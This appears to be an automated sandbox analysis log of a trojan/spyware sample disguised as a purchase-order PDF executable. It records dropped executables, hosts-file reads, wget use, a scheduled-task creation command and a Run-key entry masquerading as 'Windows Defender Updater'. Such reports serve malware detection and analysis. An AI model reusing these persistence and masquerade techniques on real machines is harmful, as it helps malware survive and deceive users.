Classification label: mal100.troj.spyw.evad.win@29/30@33/4

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_64\mscorlib\ac26e2af62f23e37e645b5e44068a025\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Section loaded: C:\Windows\assembly\NativeImages_v4.0.30319_32\mscorlib\a152fe02a317a77aeee36903305e8ba6\mscorlib.ni.dll

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6016:120:WilError_01
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Mutant created: \Sessions\1\BaseNamedObjects\update_windows10
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4900:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5984:120:WilError_01
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:4468:120:WilError_01
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	Mutant created: \Sessions\1\BaseNamedObjects\CKACGNk
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5912:120:WilError_01

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

File written: C:\Users\user\AppData\Local\Temp\CH_C8BC548DD2\Files\desktop.ini

Jump to behavior

Source: C:\Windows\SysWOW64\wget.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Windows\SysWOW64\wget.exe	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File read: C:\Windows\System32\drivers\etc\hosts	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\Zip.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	File read: C:\Windows\System32\drivers\etc\hosts
Source: C:\Users\user\AppData\Local\Temp\update_232209.exe	File read: C:\Windows\System32\drivers\etc\hosts

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Automated click: Continue
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Automated click: Continue
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Automated click: Continue
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Automated click: Continue

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

File opened: C:\Windows\Microsoft.NET\Framework\v4.0.30319\mscorrc.dll

Jump to behavior

Source:	Binary string: \gom_v_4.0\Zip\Zip\obj\Debug\Zip.pdb source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.295331963.0000000003839000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.295331963.0000000003915000.00000004.00000800.00020000.00000000.sdmp, update_232209.exe, 00000013.00000002.425875501.000000000418D000.00000004.00000800.00020000.00000000.sdmp, Zip.exe, 00000014.00000000.341283910.00000285A0678000.00000002.00000001.01000000.0000000F.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.544366293.0000000003236000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.528716221.000000000046A000.00000040.00000400.00020000.00000000.sdmp, Zip.exe.8.dr
Source:	Binary string: \gom_v_4.0\update_windows10\update_windows10\obj\Debug\update_windows10.pdbp source: RudGXFgqTDEzz.exe, 0000000B.00000002.470730993.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp
Source:	Binary string: XkPw5Vj.pdb source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000000.250556633.0000000000372000.00000002.00000001.01000000.00000004.sdmp, RudGXFgqTDEzz.exe.5.dr, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE.3.dr
Source:	Binary string: c:\Temp\Json\Working\Newtonsoft.Json\Src\Newtonsoft.Json\obj\Release\Newtonsoft.Json.pdb source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.295331963.0000000003839000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.295331963.0000000003915000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000008.00000002.529034520.0000000000461000.00000040.00000400.00020000.00000000.sdmp, update_232209.exe, 00000013.00000002.425875501.000000000418D000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004201000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.562581462.0000000004264000.00000004.00000800.00020000.00000000.sdmp, Newtonsoft.Json.dll0.8.dr, Newtonsoft.Json.dll.8.dr
Source:	Binary string: \gom_v_4.0\update_windows10\update_windows10\obj\Debug\update_windows10.pdb source: PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.295331963.0000000003839000.00000004.00000800.00020000.00000000.sdmp, PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE, 00000005.00000002.288822367.000000000289B000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 0000000B.00000002.470730993.0000000002FD1000.00000004.00000800.00020000.00000000.sdmp, update_232209.exe, 00000013.00000002.425875501.000000000418D000.00000004.00000800.00020000.00000000.sdmp, update_232209.exe, 00000015.00000002.472143566.00000000035D8000.00000004.00000800.00020000.00000000.sdmp, RudGXFgqTDEzz.exe, 00000018.00000002.528716221.0000000000486000.00000040.00000400.00020000.00000000.sdmp

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Code function: 5_2_00F33808 push eax; retf	5_2_00F33809
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Code function: 5_2_04D6AF2F push ebx; retf	5_2_04D6AF32
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Code function: 8_2_0145E672 push eax; ret	8_2_0145E679
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0708ED72 push eax; retf	11_2_0708ED73
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0708ECF5 push eax; retf	11_2_0708ECF6
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A13F0 push esp; retf	11_2_071A13FD
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A7105 push ds; iretd	11_2_071A710F
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A8C7D push edx; ret	11_2_071A8C80
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_071A8C73 push edx; ret	11_2_071A8C76
Source: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Code function: 11_2_0E5A8EAE push ss; retf	11_2_0E5A8EAF

Source: initial sample	Static PE information: section name: .text entropy: 7.467852479610896
Source: initial sample	Static PE information: section name: .text entropy: 7.467852479610896

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File created: \po 47187856_pdf saurer textile solutions private limited igst_eh2myam.exe
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File created: \po 47187856_pdf saurer textile solutions private limited igst_eh2myam.exe
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File created: \po 47187856_pdf saurer textile solutions private limited igst_eh2myam.exe
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File created: \po 47187856_pdf saurer textile solutions private limited igst_eh2myam.exe	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File created: \po 47187856_pdf saurer textile solutions private limited igst_eh2myam.exe	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File created: \po 47187856_pdf saurer textile solutions private limited igst_eh2myam.exe	Jump to behavior

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File created: C:\Users\user\AppData\Local\Temp\Newtonsoft.Json.dll	Jump to dropped file
Source: C:\Windows\SysWOW64\7za.exe	File created: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Jump to dropped file
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File created: C:\Users\user\AppData\Local\Temp\update_232209.exe (copy)	Jump to dropped file
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File created: C:\Users\user\AppData\Local\Temp\Zip.exe	Jump to dropped file
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File created: C:\Users\user\AppData\Roaming\RudGXFgqTDEzz.exe	Jump to dropped file
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	File created: C:\Users\user\Desktop\extract\Newtonsoft.Json.dll	Jump to dropped file

Boot Survival

Uses schtasks.exe or at.exe to add and modify task schedules

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE

Process created: C:\Windows\SysWOW64\schtasks.exe C:\Windows\System32\schtasks.exe" /Create /TN "Updates\RudGXFgqTDEzz" /XML "C:\Users\user\AppData\Local\Temp\tmp483C.tmp

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Windows Defender Updater			Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Registry value created or modified: HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run Windows Defender Updater			Jump to behavior

Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Users\user\Desktop\extract\PO 47187856_PDF Saurer Textile Solutions Private Limited iGST_eH2mYaM.exE	Process information set: NOOPENFILEERRORBOX	Jump to behavior
